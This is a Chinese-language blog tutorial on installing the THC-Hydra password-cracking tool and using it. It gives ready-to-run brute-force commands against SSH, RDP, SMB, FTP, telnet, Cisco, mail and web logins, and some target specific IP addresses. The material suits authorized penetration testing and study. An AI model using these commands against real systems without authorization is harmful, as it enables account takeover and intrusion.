当前位置:   article > 正文

Hydra安装使用详解及实战_hydra-windows下载

hydra-windows下载

    Hydra 可以根据使用者指定的用户字名典文件、密码字典文件、目标IP列表来暴力破解目标系统登录用户名和密码。并且其支持多种协议以及并发连接!

安装 

GitHub项目地址:https://github.com/vanhauser-thc/thc-hydra

wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip

安装必要组件:

  1. yum -y install gcc libssh-devel openssl-devel
  2. yum install -y unzip zip

解压:

unzip master.zip

进入目录:

cd thc-hydra-master/

编译运行:

./configure

make &&make install


测试:

hydra -l root -p 12345678 192.168.234.128 ssh

下面测试一下密码字典:(emmmm我没文件所以随便输入了几条)

hydra 192.168.234.128 ssh -l root -P ../password.txt 


使用

语法:

  1. hydra [some command line options] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]
  2. hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

常用选项:

选项说明示例
-h查看所有可用的命令行选项hydra -h
-U检查模块是否具有可选参数hydra -U smb
-l指定用户名-l zhangsan
-p指定密码-p 123456
-C使用冒号分隔的user:passwd格式,而不是-l/-p-C zhangsan:123456
-L指定用户名字典文件-L /root/user.dict
-P指定密码字典文件-P /root/passwd.dict
-M指定目标IP列表文件-M /root/ip.dict
-e尝试“尝试登录为密码”和“空密码”-e ns
-s指定对应模块使用的端口,例如:如果ssh端口不是默认22,这里可以指定-s 2222
-t指定线程数,默认16-t 1
-vV显示详细破解过程-vV
-o指定将结果输出到文件-o /result.txt
-b指定-o选项输出的结果信息的类型,默认为文本信息,可以自定为jsonv1和json格式。-b json
-R恢复先前中止/崩溃的会话(当hydra被Control-C中止,被杀死或崩溃时,它会留下一个“hydra.restore”文件,其中包含恢复会话所需的所有信息。此会话文件每5分钟写入一次。注意:hydra.restore文件不能复制到不同的平台(例如从小端到大端,或从Solaris到AIX))-R
-I忽略现有的恢复文件(不要等待10秒)-I
-S执行SSL连接-S
-f在使用-M参数后,找到第一对登录用户和密码的时候终止破解-f
-W设置最大超时时间,单位秒,默认30秒-W 60
-q不要打印有关连接错误的消息-q

其他选项:

  • 破解https:
hydra -m /index.php -l muts -P pass.txt 120.36.126.186 https
  • 破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
  • 破解cisco:
  1. hydra -P pass.txt 120.36.126.186 cisco
  2. hydra -m cloud -P pass.txt 120.36.126.186 cisco-enable
  • 破解smb:
hydra -l administrator -P pass.txt 120.36.126.186 smb
  • 破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
hydra -l admin -P pass.txt http-proxy://120.36.126.186
  • 破解imap:
  1. hydra -L user.txt -p secret 120.36.126.186 imap PLAIN
  2. hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
  • 破解telnet
hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
  • 破解ftp:
  1. hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
  2. hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
  • get方式提交,破解web登录:
  1. hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
  2. hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /index.php

文档地址:

https://github.com/vanhauser-thc/thc-hydra

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/130765
推荐阅读
相关标签
  

闽ICP备14008679号